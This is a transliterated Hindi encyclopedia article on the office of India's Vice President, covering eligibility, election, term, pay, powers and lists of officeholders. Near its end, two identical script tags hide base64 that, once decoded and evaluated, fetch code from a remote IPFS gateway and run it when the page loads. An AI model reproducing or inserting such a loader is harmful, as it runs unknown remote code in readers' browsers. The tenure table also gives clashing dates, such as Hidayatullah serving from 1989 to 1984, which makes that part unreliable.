उपराष्ट्रपति

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search

[[chitr:Jagdeep-Dhankhar.jpg|thumb|220px|jagadip dhanakh d, uparashtrapati, bharat]] bharat ke uparashtrapati ka pad desh ka doosara uchchatam sanvaidhanik pad hai. unaka karyakal paanch varsh ki avadhi ka hota hai. lekin vah is avadhi ke samapt ho jane par bhi apane uttaradhikari ke pad grahan karane tak, pad par bane rah sakate haian. sanvidhan is bat par maun hai ki bharat ke uparashtrapati ka karyakal samapt hone se pahale jab unaka pad rikt ho jata hai ya jab uparashtrapati bharat ke rashtrapati ke roop mean kary karate haian, tab uparashtrapati ke kartavyoan ka palan kaun karata hai. sanvidhan mean ekamatr upabandh rajy sabha ke sabhapati ke roop mean uparashtrapati ke aise krity se sanbandhit hai jisaka nirvahan; aisi rikti ki avadhi ke dauran, rajy sabha ke up sabhapati dvara ya bharat ke rashtrapati dvara pradhikrit kie ge rajy sabha ke kisi any sadasy dvara kiya jata hai. uparashtrapati dvara apane pad ka tyag bharat ke rashtrapati ko apana tyag patr dekar kiya ja sakata hai. tyag patr us tarikh se prabhavi ho jata hai jisase use svikar kiya jata hai.

  1. REDIRECTsaancha:inhean bhi dekhean

sanvidhan ke anusar

uparashtrapati ko rajy sabha ke ek aise sankalp dvara pad se hataya ja sakata hai, jise rajy sabha ke tatkalin sadasyoan ke bahumat ne parit kiya ho aur jisase lok sabha sahamat ho. is prayojanarth sankalp ko keval tabhi upasthit kiya ja sakata hai jabaki is ashay ki soochana kam se kam 14 din pahale di gee ho. sanvidhan ke anuchachhed 63 ke anusar bharat ka ek uparashtrapati hoga. sanvidhan mean uparashtrapati se sambandhit pravadhan sanyukt rajy amarika ke sanvidhan se grahan kiya gaya hai. is prakar se bharat ke uparashtrapati ka pad ameriki uparashtrapati pad ki kuchh parivartan sahit anukriti hai. bharat ka uparashtrapati rajyasabha ka paden sadasy hota hai aur any koee labh ka pad dharan nahian karata hai.

rajy sabha ka paden sabhapati

uparashtrapati rajy sabha ka paden sabhapati hota hai aur vah labh ka koee any pad dharan nahian karata hai. jis kisi aisi avadhi ke dauran uparashtrapati rashtrapati ke roop mean kary karata hai ya rashtrapati ke krityoan ka nirvahan karata hai, us avadhi ke dauran vah rajy sabha ke sabhapati ke pad ke kartavyoan ka palan nahian karata hai aur vah rajy sabha ke sabhapati ko sandey kisi vetan ya bhatte ka hakadar nahian hota.

yogyata

koee bhi vyakti uparashtrapati nirvachit hone ke yogy tabhi hoga, jab vah-

  1. bharat ka nagarik ho.
  2. 35 varsh ki ayu poori kar chuka ho.
  3. rajyasabha ka sadasy nirvachit hone ke yogy ho.
  4. sansad ke kisi sadan ya rajy vidhan mandal mean se kisi sadan ka sadasy n ho. isaka tatpary yah nahian haian ki sansad ya rajy vidhan mandaloan ka sadasy uparashtrapati nahian ho sakata, balki isaka tatpary yah hai ki yadi koee vyakti uparashtrapati pad ke lie nirvachit kiya jata hai aur yadi vah sansad ya rajy vidhanamandaloan mean se kisi sadan ka sadasy hai, to use is sadasyata ka tyag karana p data hai.
  5. bharat sarakar ke ya kisi rajy ki sarakar ke adhin athava ukt sarakaroan mean se kisi ke niyantran mean kisi sthaniy ya pradhikari ke adhin labh ka pad dharan n karata ho.

nirvachan

uparashtrapati ka nirvachan ek aise nirvachak mandal ke dvara kiya jaega, jo ki sansad ke donoan sadanoan se milakar banega, arthath uparashtrapati ka nirvachan rajyasabha tatha lokasabha ke sadasyoan ke dvara kiya jaega. rajy vidhanamandal ke sadasy isamean bhag nahian lete haian. yah nirvachan anupatik pratinidhitv paddhati ke anusar ekal sankramaniy mat tatha gupt matadan ke dvara hoga. uparashtrapati pad ke lie abhyarthi ka nam 20 matadataoan ke dvara prastavit aur 20 matadataoan ke dvara samarthit hona avashyak hai. sath hi abhyarthoan dvara 15,000 rupaye ki jamanat rashi jama karana avashyak hota hai.

sambandhit vivad

uparashtrapati ke nirvachan se sambandhit kisi bhi vivad ka nirnay uchchatam nyayalay dvara kiya jaega (anuchchhed 71). yadi nirvachit uparashtrapati ke pad grahan karane ke bad uchchatam nyayalay ke dvara uparashtrapati ke nirvachan ko avaidh ghoshit kiya jata hai to pad par rahate hue uparashtrapati dvara kiy gaye kary ko avaidh nahian mana jaega.

padavadhi

uparashtrapati apane pad grahan karane ki tithi se paanch varsh tak apane pad par bana rahega aur yadi usaka uttaradhikari is paanch varsh ki avadhi ke dauran nahian chuna jata hai, to vah tab tak apane pad par bana rahega, jab tak usaka uttaradhikari nirvachit hokar pad grahan nahian kar leta hai. lekin uparashtrapati apane pad grahan ki tarikh se paanch varsh ke andar bhi apane pad se nimnalikhit dhang se hat sakata hai ya hataya ja sakata hai-

  • rashtrapati ko apana tyagapatr dekar,
  • rajyasabha ke dvara sankalp parit karake-

uparashtrapati ko pad se hatane ke lie sankalp ya rajy sabha mean pesh kiya jata hai, lekin uparashtrapati ko pad se hatane ka sankalp rajyasabha mean pesh karane ke pahale usaki soochana unhean 14 din poorv dena avashyak hai. rajyasabha mean sankalp parit hone ke bad use anumodan ke lie lokasabha ko bheja jata hai. yadi lokasabha sankalp ko anumodit kar deti hai to uparashtrapati ko pad se hata diya jata hai. karyavahak rashtrapati ke roop mean kary karane ki sthiti mean uparashtrapati ko mahabhiyog dvara keval usi prakriya ke tahat hataya ja sakega, jis prakriya se sanvidhan mean rashtrapati par mahabhiyog sthapit karane ka pravadhan hai.

punarvichar ke lie patrata

jo vyakti uparashtrapati pad ki avashyak yogyata ko dharan karata hai, vah ek se adhik karyalay ke lie nirvachit kiya ja sakata hai. lekin d aau. sarvapalli radhakrishnan ke do bar nirvachit kie jane ke bad ab yah samany parampara ban gayi hai ki kisi vyakti ko ek bar hi uparashtrapati pad ke lie nirvachit kiya jae.

shapath ya pratijnan

uparashtrapati apana pad grahan karane ke poorv rashtrapati athava usake dvara is prayojan ke lie niyukt kisi vyakti ke samaksh shapath leta hai tatha shapath patr par hastakshar karata hai (anuchchhed 69). uparashtrapati ka shapath patr ka praroop nimnalikhit roop mean nirdharit hota hai-

maian, amuk eeshvar ki shapath leta hooan, saty nishtha se pratijnan karata hooan ki maian vidhi dvara sthapit bharat ke sanvidhan ke prati sachchi shraddha aur nishtha rakhooanga tatha jis pad ko maian grahan karane vala hooan usake kartavyoan ka shraddhapoorvak nirvahan karooanga.

uparashtrapati ka nirvachan
kr.san. vijayi uparashtrapati tithi (shapath grahan) mukhy pratidvandvi vijeta dvara prapt mat prapt mat
1. d aau. es. radhakrishnan 12 mee, 1952 nirvirodh
(1.) d aau. es. radhakrishnan 11 mee, 1957 nirvirodh
2. d aau. zakir husain 7 mee, 1962 en. si. samant sianh 568 14
3. varahagiri veankat giri 6 mee, 1967 pro. habib 483 193
4. gopal svaroop pathak 30 agast, 1969 ech. vi. kamath 400 156
5. bi. di. jatti 27 agast, 1974 en. ee. horo 521 141
6. mo. hidayatulla 2 agast, 1979 nirvirodh
7. ramasvami veankataraman 23 march, 1984 bi. si. kamale 508 207
8. d aau. shankar dayal sharma 7 sitanbar, 1987 nirvirodh
9. ke. ar. narayan 19 agast, 1992 kaka jogindar sianh 700 1
10. krishnakant 19 agast, 1997 surajit sianh baranala 441 273
11. bhairosianh shekhavat 19 agast, 2002 sushil kumar shinde 454 305
12. mohammad hamid aansari 11 agast, 2007 d aau. najama hepatulla 455 222
(12.) mohammad hamid aansari 11 agast, 2012 jasavant sianh 490 238
13. veankaiya nayadoo 11 agast, 2017 gopalkrishna gaandhi 516 244
14. jagadip dhanakh d 11 agast, 2022 margaret alva 528 182

nirvachit vyakti ki padavadhi

uparashtrapati ke pad ki rikti ko bharane ke lie nirvachan karane ka samay tatha akasmik rikti ko bharane ke lie nirvachit vyakti ki padavadhi-

uparashtrapati ki padavadhi ki samapti se huee rikti ko bharane ke lie nirvachan padavadhi ki samapti se poorv kiya jaega tatha uparashtrapati ki mrityu, padatyag ya pad se hataye jane ya any karan se huee usake pad mean huee rikti ko bharane ke lie nirvachan yathashighr kiya jaega aur rikti ko bharane ke lie nirvachit vyakti apane pad grahan ki tarikh se paanch varsh ki poori avadhi tak pad dharan karane ka hakadar hoga (anuchchhed 68). padavadhi ke dauran uparashtrapati ki mrityu ho jane ki sthiti mean rikt hue usake pad ko karyavahak uparashtrapati ke dvara bhare jane sambandhi koee sanvaidhanik vyavastha nahian hai. is prakar aisi sthiti mean uparashtrapati ka pad keval nirvachan ke dvara hi bhara jaega.

vetan evan bhatte

uparashtrapati apane pad ka vetan nahian grahan karata, balki vah rajyasabha ke sabhapati ke roop mean apana vetan grahan karata hai. 11 sitambar, 2008 ko kendriy mantrimandal dvara liye gaye nirnay ke anusar uparashtrapati ka vetan 1.25 lakh rupaye prati mah nirdharit kiya gaya hai. naya vetan 1 janavari, 2006 se prabhavi kiya gaya hai. halaanki isase poorv 10 janavari, 2008 ko uparashtrapati ka vetan 40 hazar se badhakar 80,000 rupaye prati mah karane ka nirnay liya gaya tha. is vetan ke atirikt uparashtrapati ko bina kirae ka susajjit makan avas ke lie diya jata hai. rajyasabha ke sabhapati ke roop mean uparashtrapati ko vetan bharat ki sanchit nidhi se diya jata hai. uparashtrapati ke vetan ya bhatte mean usaki padavadhi ke dauran kabhi kami nahian ki ja sakati. padavadhi ke dauran mrityu hone ki sthiti mean uparashtrapati ko parivarik peanshan, avas aur chikitsa suvidhaean prapt haian. uparashtrapati ke nidhan athava seva nivritti ki sthiti mean patni athava pati ko peanshan prapt hogi.

20 disambar, 1999 ko sansad ne uparashtrapati ki peanshan mean vriddhi hetu vidheyak parit kar ise 6250 rupaye pratimah se badhakar 20,000 rupaye pratimah kar diya tha. pad vimukti ke pashchath uparashtrapati ki peanshan unake vetan ka 50 pratishat nirdharit kiya gaya hai. is prakar vartaman mean seva nivritti par uparashtrapati ko 7,50,000 rupaye varshik peanshan dey hai. sath hi sevanivritt uparashtrapati ko karyalay kharch ke lie milane vali rashi ko bhi 6000 rupaye se badhakar 12,000 rupaye prativarsh kar diya gaya hai. dhyatavy hai ki 1997 se poorv uparashtrapati ki seva nivritti ke pashchath peanshan ka pravadhan nahian tha. 1997 se hi uparashtrapati ko 6250 rupaye pratimah peanshan ka pravadhan kiya gaya tha.

kary evan shaktiyaan

uparashtrapati ko sanvidhan ke dvara nimnalikhit kary tatha shaktiyaan pradan ki gayi haian-

karyavahak rashtrapati ke roop mean kary

anuchchhed 65 ke anusar rashtrapati ki mrityu ya usake tyag patr de dene ya mahabhiyog prakriya ke anusar usake padamukt hone ya usaki anupasthiti ke karan jab rashtrapati ka pad rikt ho jata hai, tab uparashtrapati, rashtrapati ke kartavyoan ka nirvahan karata hai tatha rashtrapati ki shaktiyaan prayog karata hai. jab uparashtrapati, rashtrapati ke krityoan ka nirvahan kar raha hota hai, tab vah aisi upalabdhiyoan, bhattoan aur visheshadhikaroan ka hakadar hota hai, jinaka hakadar rashtrapati hota hai. uparashtrapati jab rashtrapati ke roop mean kary karata hai ya rashtrapati ke krityoan ka nirvahan karata hai, us avadhi ke dauran vah rajy sabha ke kartavyoan ka palan nahian karega.

rajyasabha ke sabhapati ke roop mean

anuchchhed 64 mean di gayi vyavastha ke anusar rajyasabha ke sabhapati ke roop mean uparashtrapati nimnalikhit karyoan ko karata hai–

  1. vah rajyasabha ke karyoan ka sanchalan karata hai, rajyasabha mean anushasan banaye rakhata hai tatha ajna ka anupalan n karane vale sadasyoan ko sadan se nishkasit karava sakata hai.
  2. vah rajyasabha ke kisi sadasy ko sadan mean bhashan dene ki anujna deta hai tatha usaki anujna ke bina koee bhi sadasy sadan mean bhashan nahian de sakata hai.
  3. vah sadan mean pesh kiye gaye vidheyakoan par vichar-vimarsh karavata hai. vah vichar-vimarsh ke bad matadan karata hai tatha usaka parinam ghoshit karata hai.
  4. usako yah nirnay karane ki shakti prapt hai ki kaun sa prashn sadan se poochhane ke yogy hai.
  5. vah sadan mean asansadiy bhasha ke prayog ko rokata hai tatha yah adesh de sakata hai ki asansadiy bhasha ko abhilekh se nikal diya jae.
  6. vah rajasabha ke dvara parit vidheyakoan par hastakshar karata hai.
  7. vah rajyasabha ke visheshadhikaroan ka ullanghan karane vale vyaktiyoan ko prata dit karata hai.[1]
bharat ke uparashtrapati
uparashtrapati karyakal
d aau. es. radhakrishnan 13 mee, 1952 se 12 mee, 1962
d aau. zakir husain 13 mee, 1962 se 12 mee, 1967
varahagiri veankat giri 13 mee, 1967 se 3 mee, 1969
gopal svaroop pathak 31 agast, 1969 se 30 agast, 1974
bi. di. jatti 31 agast, 1974 se 30 agast, 1989
mo. hidayatulla 31 agast, 1989 se 30 agast, 1984
ramasvami veankataraman 31 agast, 1984 se 24 julaee, 1987
d aau. shankar dayal sharma 3 sitanbar, 1987 se 24 julaee, 1992
ke. ar. narayan 21 agast, 1992 se 24 julaee, 1997
krishnakant 21 agast, 1997 se 27 julaee, 2002
bhairoan sianh shekhavat 19 agast, 2002 se 21 julaee, 2007
mohammad hamid aansari 11 agast, 2007 se 10 agast, 2017
veankaiya nayadoo 11 agast, 2017 se 10 agast, 2022
jagadip dhanakh d 11 agast, 2022 se ab tak

soochana dene ka kartavy

bharat ka rashtrapati jab kabhi tyagapatr deta hai to vah apana tyagapatr uparashtrapati ko deta hai. jab uparashtrapati, rashtrapati ka tyagapatr prapt kare, to usaka kartavy banata hai ki vah rashtrapati ke tyagapatr ki soochana lokasabha ke adhyaksh ko de.

any kary

uparashtrapati ko sanvidhan ke dvara koee aupacharik karyapalikiy shakti prapt nahian hai, phir bhi vyavahar mean use mantrimandal ke samast nirnayoan ki soochana pradan ki jati hai. uparashtrapati vibhinn rajakiy yatraoan mean rashtr ka pratinidhitv karata hai. in sab ke atirikth uparashtrapati dilli vishvavidyalay ka paden kulapati hota hai.


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

tika tippani aur sandarbh

  1. *bharat ke uparashtrapatiyoan mean pratham uparashtrapati d aau. sarvapalli radhakrishnan do karyakal tak uparashtrapati rahe, tatha do uparashtrapati, vi. vi. giri evan ar. veankataraman karyakal poora karane ke pahale hi rashtrapati chun liye gaye.
    • uparashtrapati krishnakant bharat ke pahale uparashtrapati haian, jinaki mrityu padavadhi ke dauran huee.

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


varnamala kramanusar lekh khoj

a   a    i    ee    u    oo    e    ai    o   au    aan    k   kh    g    gh    n    ch    chh    j    jh    n    t    th    d   dh    n    t    th    d    dh    n    p    ph    b    bh    m    y    r    l    v    sh    sh    s    h    ksh    tr    jn    rri    rri    aau    shr   aah

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>